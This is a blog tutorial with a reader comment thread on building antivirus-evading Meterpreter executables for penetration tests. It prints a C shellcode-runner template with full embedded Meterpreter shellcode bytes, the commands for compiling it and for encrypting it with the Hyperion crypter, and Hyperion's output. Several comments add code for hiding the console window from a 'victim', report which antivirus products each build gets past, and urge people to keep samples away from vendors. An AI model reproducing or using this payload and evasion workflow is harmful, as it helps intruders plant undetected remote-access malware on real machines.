Bypass Antivirus with Meterpreter as the Payload & Hyperion Fun

Note: Check the tool I work on with a great team, Veil.  It is designed to generate payloads for bypassing Antivirus.  This is more up-to-date than this post.

 

On any pen test, you will discover a number of hosts that are vulnerable to a variety of exploits. So after gathering all the information we can about our target(s), one of the next few steps may be to exploit the system.  Typically, I love using meterpreter as my payload because of the functionality that it offers.  Our team would then fire up Metasploit, configure our exploit for our target, exploit the box, see us uploading the payload, only to have nothing happen.

So what’s the problem?  Well, obviously it could be a number of things, versions are wrong, exploit just didn’t work, etc.  It’s also very possible that everything is working correctly, except the host-based anti-virus caught your meterpreter payload, and won’t let you get on the box.  I’ve come across this problem multiple times, and would love to share a technique that I use to try to circumvent the anti-virus installed on a machine.

First, I’m happy to give credit to two great writeups here and here that I looked up and incorporated into this attack.  I saw a few things that needed to be edited and tried to compile what I did (based off those two articles) into this post.

One of the methods of bypassing anti-virus is to create a “custom” executable template for meterpreter.  As a starting point, you can use the following as a base to your source code (go ahead and open your favorite text editor, lets call the file “base.c”, and add the following):

 

// This should be random padding
unsigned char padding[]=

;

// Our Meterpreter code goes here
unsigned char payload[]=

;

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

 

With the rough outline of our code down, the first thing we will want to do is create the random padding we want to put at the beginning of our file.  You can easily change the size of your random padding by deleting the “1028” from the following command, and replacing it with the size you want to use.

Our command and its output should look similar to the following:

Go ahead and paste the random padding into our base.c file into the appropriate section at the top (in between double quotes).  Our code should now look similar to the following:

 

// This should be random padding
unsigned char padding[]=
"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
;

// Our Meterpreter code goes here
unsigned char payload[]=

;

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

Now that we have the padding in our base file, we can create our meterpreter shellcode.  I find it easiest to create the shellcode with msfvenom.  You can go ahead and create your shellcode using nearly the same command I am using here, just be sure to change your payload option values:

With our meterpreter shellcode generated, go ahead and copy just the shellcode and paste it into the appropriate section within our base.c file.  Once you’ve done that, our base.c file should look similar to the following:


// This should be random padding
unsigned char padding[]=
"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
;

// Our Meterpreter code goes here
unsigned char payload[]=

“\xba\xd7\x0c\xb4\xfa\xd9\xc1\xd9\x74\x24\xf4\x58\x2b\xc9\xb1”
“\x57\x83\xe8\xfc\x31\x50\x0e\x03\x87\x02\x56\x0f\xfd\xca\x4f”
“\x84\x25\x19\xd5\x05\x4e\x2c\x7c\x9b\xb9\x67\x30\x73\x88\x22”
“\x2b\x77\xbf\xd4\xc8\xb2\x5b\x6c\xf6\xd2\xd0\x3a\x54\xb7\xb6”
“\x6a\xd0\x10\xc4\xae\x92\xb7\x9b\xb4\x9c\x02\x72\xea\xfe\x1d”
“\xb9\x31\xbf\x3e\x09\xf5\x69\x25\xcb\x31\x56\x43\x8b\xec\xfe”
“\xd1\xbf\xad\x50\x7e\x8f\x9d\x5f\x13\xb8\xd6\x4a\x03\xfc\xb1”
“\x89\x08\x6f\xf9\x35\x3b\x1a\xd3\xf7\xe5\x50\x13\x0a\x0b\xc3”
“\x87\x34\x9c\x4c\x4b\xcf\xbf\x01\x20\x45\x85\x8e\x82\x1c\x0c”
“\xfa\x47\xa6\x03\xef\x16\xbd\xe9\x99\x87\xa9\xa9\x75\xf6\x6d”
“\x6c\x43\xa8\xd9\xd0\x18\xb4\xd1\x93\x18\xf1\x3f\x08\xd0\xe3”
“\x7a\x66\x1e\x90\x70\x90\xc3\x01\x61\xaf\xb4\xc0\x1e\xd8\x6d”
“\xb7\x88\xfa\x7b\x2d\x75\x2f\xea\xda\x22\x2f\x26\x7a\x7c\x4e”
“\x0a\xb8\x7a\xac\x1b\x74\x17\x3c\x92\x18\x6d\x67\xb3\x01\xb1”
“\x4a\x43\xe4\x72\xf8\x15\xf8\x4b\x4a\xfb\x65\xbb\xf2\x6f\xe9”
“\x9f\x58\x6b\xcd\x96\x7b\x80\xa9\xfe\xa6\x2e\xf7\xfa\xf5\x1d”
“\xc5\xd4\x3d\x73\xe2\xd2\x94\xce\x85\x35\x62\xc4\xb9\x1b\x87”
“\x20\x46\x16\xa6\xa4\xc2\x74\xfc\x5c\xfb\x83\x8b\x60\x4a\xd1”
“\x72\x48\xab\xd7\xd9\x86\x7f\x2b\xbb\x06\x74\x54\xf0\xb6\xb8”
“\xa8\x16\x97\xa2\xba\xc3\x79\x6f\xab\xdd\x6f\x3c\x74\x6c\xf4”
“\x9d\xcc\x34\x84\xef\x34\x0c\x78\xc1\xe9\x2e\x57\xf6\x73\x9f”
“\x12\x58\x6f\x48\xb5\x04\x45\x13\x86\x3c\xbb\xab\xce\x8a\x15”
“\x07\x65\x73\x0e\x50\xd1\xa2\x29\x6b\x46\x3b\x40\x9c\x56\x1a”
“\xb6\x8d\x22\x16\x66\x2f\xa8\x03\xdc\x58\x48\x91\x44\x18\xd9”
“\x1d\xb6\x0f\xfe\xca\x7b\x03\xd1\x94\x54\xba”

;
// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

 

Congrats, you’ve made a pretty decent template file which includes our payload.  Now, all that you need to do is compile it.  I like to use gcc.exe within Backtrack with wine. So, you can navigate to the compiler (it’s at /root/.wine/drive_c/MinGW/bin/gcc.exe), call the compiler through wine, provide it our source file, and specify the output file. Your command should look similar to the following:

Congrats again.  You now have an executable that you should be able to drop on a windows machine that doesn’t get flagged by Microsoft Security Essentials in addition to a variety of anti-virus programs.

So now what?

There’s an additional step we can take to try to further prevent detection of our executable, and it’s with a packer & encrypting tool called hyperion.  Hyperion is a tool that encrypts the executable you provide it with 5 rounds of AES encryption by default and outputs an executable.  The executable file that is produced by hyperion can then be ran on a windows machine.  The executable will brute force its own AES keys and then execute the payload you originally provided it.  It’s a sweet tool that does a really good job at hiding the payload you are encrypting.  The only problem with hyperion at times is that it can be detected as a packer by certain anti-virus programs.  However, it still is not recognized by a majority of AV solutions.

This is a quick article introducing Hyperion, a sweet tool I found after listening to Dave Kennedy talk, and how it can be compiled.

First, while researching how to use the tool, I came across this resource which helped me to write this article.

Hyperion is a tool that can be used to help prevent your payload from being detected by antivirus.  It works by encrypting your payload via AES encryption, and essentially throwing away the keys.  It’s output is an encrypted executable.  When the output file is ran, the executable brute forces the encryption keys, and then runs the previously encrypted executable (meterpreter payload :)).

So where do you get it and how can you compile it?  Hyperion can be found for download at this location.

Once downloaded and unzipped, you can easily compile the tool with g++.exe on Backtrack.  To compile it, point g++.exe to the .cpp files within the “Crypter” directory under “Src”.  Your command may look similar to the following:

wine g++.exe Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe

Your command should have completed without any errors, and now you have compiled hyperion for use.

So all we need to do is call hyperion, provide it our executable that we want it to hide, and then give it the name of the executable to output.  Once compiled, hyperion can be run through wine or from the Windows command line.  Our commands and their output should look similar to the following:

root@bt:~/.wine/drive_c/MinGW/bin/Hyperion-1.0# wine hyperion.exe metexecutable.exe encryptedmet.exe
Opening metexecutable.exe
Copied file to memory: 0x115868
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0x924, VAddress: 0x1000, RawSize: 0xa00, RawAddress: 0x400

Found Section: .data
VSize: 0x5f0, VAddress: 0x2000, RawSize: 0x600, RawAddress: 0xe00

Found Section: .rdata
VSize: 0xc0, VAddress: 0x3000, RawSize: 0x200, RawAddress: 0x1400

Found Section: .bss
VSize: 0xe0, VAddress: 0x4000, RawSize: 0x0, RawAddress: 0x0

Found Section: .idata
VSize: 0x268, VAddress: 0x5000, RawSize: 0x400, RawAddress: 0x1600

Input file size + Checksum: 0x4140
Rounded up to a multiple of key size: 0x4150
Generated Checksum: 0xcf0cc
Generated Encryption Key: 0x0 0x2 0x1 0x2 0x3 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file’s image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file’s image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encryptedmet.exe
FASM Working Directory: C:\MinGW\bin\Hyperion-1.0

Executing fasm.exe

flat assembler version 1.69.31 (1020166 kilobytes memory)
5 passes, 0.1 seconds, 35328 bytes.

And that’s it.  Hopefully either or a combination of both of these techniques have helped you to bypass the antivirus product you are going against.

Good luck, and let me know if you have any questions!

30 thoughts on “Bypass Antivirus with Meterpreter as the Payload & Hyperion Fun

  1. Thanks for the great tutorial.

    I gave this ago. After completing the first phase where I created my own custom template and compiled the payload (without using Hyperion), I got 3 detected om NoVirusThanks.

    I went through the tutorial and ran it through Hyperion as instructed, tested the new .exe and it was now detected 4 times, (mostly as packers as you pointed out).

    Is there any other techniques used in combination with what you’ve got here to get better results for evasion?

    • There is a different technique that can be used, but the reason it is caught by a small percentage of AV is how the meterpreter payload is created with msfvenom (beyond just the configuration settings of the payload that we set). It would require editing some of Metasploit’s ruby files, which I plan on doing and writing a future post on doing so.

      The hyperion developers have stated that they realize it is currently written in a “signature friendly” manner. They have stated they plan on releasing an update to the tool to make it much harder to write an AV signature for.

          • You Worte that you can Bypass AV’s they Look for payloads their createt with msfvenom. You Allready wrote that you can Bypass it with Editing some ruby of metasploit and that you are planning to do a post for that. So my question is if you Allready wrote this post.

          • Sorry, I saw your comment in e-mail, but not that it was in relation to another comment of mine.

            I haven’t made a post on modifying the ruby files yet, but myself and two other guys released a tool called Veil (blog post is published on here) which creates payloads that bypass AV.

            I do still need to write that post you’re referencing though, 🙂

          • Might help for you to talk to all three of us via twitter. Also, I thought Veil should work on ubuntu, I’ll have to test. Did you run the setup script? On another note, Veil was specifically designed to run on Kali, so that’s our usual recommendation on what to run it on.

  2. I’ve tried this tutorial and stuck with detection of the resulting payload by Kaspersky Internet Security 2012 (HEUR:Trojan.Win32.Generic).

    I played with AV evasion and Hyperion before and made a payload undetectable; maybe the heuristic scanner of KIS 2012 now has a clue on how to detect such things — I don’t know. I had some issues with a payload crypted by Hyperion: it succesfully ran in Windows XP/Windows 7 x86 and failed in Windows 7 x64. Could you check please does this happen to your system(s)?

    The Hyperion has some logging features which help to debug a launch of an encrypted executable. I’ve made a patch for Hyperion-1.0 for my own puproses that disables any logging (I hope belial wouldn’t be offended by this)…

    • Sorry, I’ve just remembered the issue with x64 was not with the Hyperion – it was with my own assembly build based on FasmAES library (which is used in Hyperion, by the way) 🙁

      • Glad you were able to figure it out.

        With everything I’ve generated using these techniques, Kaspersky is that one AV vendor that I’ve seen consistently detect the payload. Have you tried playing with adding addition rounds of encryption to the hyperion output? Also, once an update comes out for Hyperion to make it not as signature friendly it will be interesting to re-test this method.

        I’ve actually yet to go against Kaspersky on a pen test, but it is something I’d like to work on bypassing now.

        Only other option is editing some of Metasploit’s executable generation files, which I plan on doing but will write up in a future post.

        • I tried to use different encoders, the number of iterations, combinations of encoders – AVs seem to detect them every time, and the detection rate increases as I add an extra iteration/pipe to another encoder. I tried an obfuscation technique that helped: 1) disassembly with metasm; 2) some modification of the source; 3) re-assembly of the modified .asm source.
          It would be great if we had a tool that automates the source-level obfuscation, but I think this is too complex and sophisticated task.

          • Unfortunately you’re probably right. Probably is worth investigating to see if any automated method of modifying the source can help bypass AV. It would be nice. But also like you said, Hyperion itself needs to be changed in order to help bypass AV detection. Hopefully that TODO list gets done soon…

  3. First off thank you very much for the article. I have a question. After generating the payload in exe, do we have to place this exe at a particular location like msf3/data/templates/template_x86_windows.exe because how can we specify to the MSF to use our custom template? Also I have read somewhere that meterpreter is delivered as a DLL and not as an exe. Then how can be have payload in exe format? Some clarification will be really helpful.

    • So, in writing this article, I didn’t actually create a template that all future builds of meterpreter through msfvenom would use. What this is doing is basically creating a “one time” executable payload. Once compiled through gcc.exe you can simply double click that .exe file on Windows and receive your callback. I prefer this method as I can customize the template as a whole everytime I need/want to create an executable payload.

      This method puts meterpreter into an .exe format. Meterpreter is capable of being delivered by injecting a dll into a process, but that was not the method of delivery in this article. I wanted to show how to create an executable that could be uploaded as a custom payload through Metasploit, or assuming you have upload access to a box, legitimately dropping it on a machine and executing it without detection.

      If you have any other questions, let me know.

      • Thank you very much for your response. Yes I understand it now. Just a quick follow up. Since there is practically no big difference between an EXE and a DLL, can we do the same technique and create our own DLL, then replace the default metsrv.dll file with our own custom meterpreter DLL and use it as our payload? I would be very interested in your response because if you think that is going to work (I think it shouldn’t have any problem), then I will work on this method.

  4. I have created a reverse https payload vb script to inject it through ms word. The file is undetectable by antivirus, however, when the script runs, it pulls some .exe files which antivirus detects and prevents the script from completing. Any suggestions on that?

  5. Hello,
    When we send exe to victim’s computer, victim encounters a console. When victim closes this console, our session closes.

    We want to hide console from victim. What do you recommend us to hide windows.
    To hide console from vicim this code below can be used: “ShowWindow( hWnd, SW_HIDE );”
    And this code work fine.

    But when we want to inject payload, process ends.

    Code is below:

    ****************
    int main(void) {
    char Title[256];
    int SizeTitle = sizeof( Title );
    GetConsoleTitle( Title, SizeTitle );
    HWND hWnd = NULL;
    while ( NULL == hWnd )
    {
    hWnd = FindWindow( NULL, Title );
    }

    ShowWindow( hWnd, SW_HIDE ); //hide windows

    ((void ())payload)(); // payload begins

    }
    ***************

    Do you have an recommendation to hide console from victom.

  6. Instead of hiding the window how about finding the screen size, leaving the window visible but moving it off the edge of the screen. The only thing is this may not work in a multi screen environment.

  7. Hi!

    I´ve followed the tutorial as is, with the payload made here and other versions of my own payloads, in every case i test the payload and it works fine, but after i use Hyperion and test the encrypted payload it stops working, windows pops up a message about the program stopping to work and the meterpreter session is never established.

    I´m kinda new in all of this, happened to anyone of you?

  8. hello everybody
    when i make this wine hyperion.exe metexecutable.exe encryptedmet.exe
    i got this Error: Could not load FasmAES-1.0\aes10.dll
    please help me

  9. Theirs not much difference with using Hyperion as using the basic method i.e mixing encoders and amount of times encoded and using the likes of msfvenom TO mix up it up a little

    I CAN get the same results that Hyperion from just using msfencode , I have several anti viruses installed and I test against all of them

    Hyperion gets caught by

    avira
    bitdefender
    comodo
    esets
    kaspersky
    microsoft essentials ## Ive yet to test !!! TO SEE if it stills gets passed it

    and it escapes detection from the following

    avast { not bad it does catch more than avg does but not in this occasion }
    avg { avg is weak by any anti-virus standard }
    clamav { no surprise here}
    fprot { lets just say its a waste of code and time }

    While I see the example is with Microsoft essential anti-virus I’ve yet to install that and check it again but its pointless if its only good for microsoft there is very few people that use that …… as the best in the market are kaspersky and bitdefender .. if you can manage to get past them your doing well !!!!

    one of the main problems is people keep uploading to the likes of total antivirus and novirusthanks to check if there back door is good .. some people think that some of these don’t hand over the viruses to company’s and the information and files are deleted straight away .. common guys wise up all of theses services get paid .. its hard enough create good code through assembly and try to play hide and seek with the anti-virus company’s without people giving the code away !!

    I guess if you know your victims anti-virus and it happens to be one in the escapes list or Microsoft essentials then its a win other than that its back to the drawing board I’ve managed to get passed all of them except bitdefender,kaspersky,esets and Im not giving up Im still trying to get passed them all

  10. hello
    to hide a black window in execution of the payload , it simple , follow this

    copy the .c file you have created to a windows machin ,
    install wxDev c++ ,
    open the .c file with wxDev c++
    in tab tools -> compiler option -> LINKED and set ‘Yes’ to option “Do not create consol window”

    Hope this help you 🙂

  11. Hi!

    I installed the Hyperion, the beginning, some .dll files are not found, but I added them manually, now I had a problem that is after the command.:
    “wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe”
    writes it:
    “fixme:ntdll:NtSetInformationToken unimplemented class 4
    fixme:ntdll:NtQueryInformationProcess (process=0xffffffff) Unimplemented information class: ProcessSessionInformation”

    …and then do nothing!

    Anyone know what could be the problem?
    Thank you in advance for your help and sorry my english knowledge!

Leave a Reply to CTruncerCancel reply